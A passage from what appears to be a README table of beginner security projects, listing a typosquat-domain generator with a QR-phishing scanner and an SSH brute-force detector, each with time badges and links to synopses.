Typosquat generation + QR phishing detection | ![2-3h](https://img.shields.io/badge/⏱️_6--8h-blue) ![Python](https://img.shields.io/badge/Python-3776AB?logo=python&logoColor=white) ![Beginner](https://img.shields.io/badge/●_Beginner-green) | Homoglyph attacks • Typosquatting • QR code analysis • Domain intelligence
[Learn More](./SYNOPSES/beginner/Phishing.Domain.Generator.And.Quishing.Scanner.md) | | **[SSH Brute Force Detector](./SYNOPSES/beginner/SSH.Brute.Force.Detector.md)**
Monitor and block SSH attacks | ![2-4h](https://img.shields.io/badge/⏱️_2--4h-blue) ![Python](https://img.shields.io/badge/Python-3776AB?logo=python&logoColor=white) ![Beginner](https://img.shields.io/badge/●_Beginner-green) | Log parsing • Attack detection • Firewall automation
[Learn More](./SYNOPSES/beginner/SSH.Brute.Force.Detector.md) |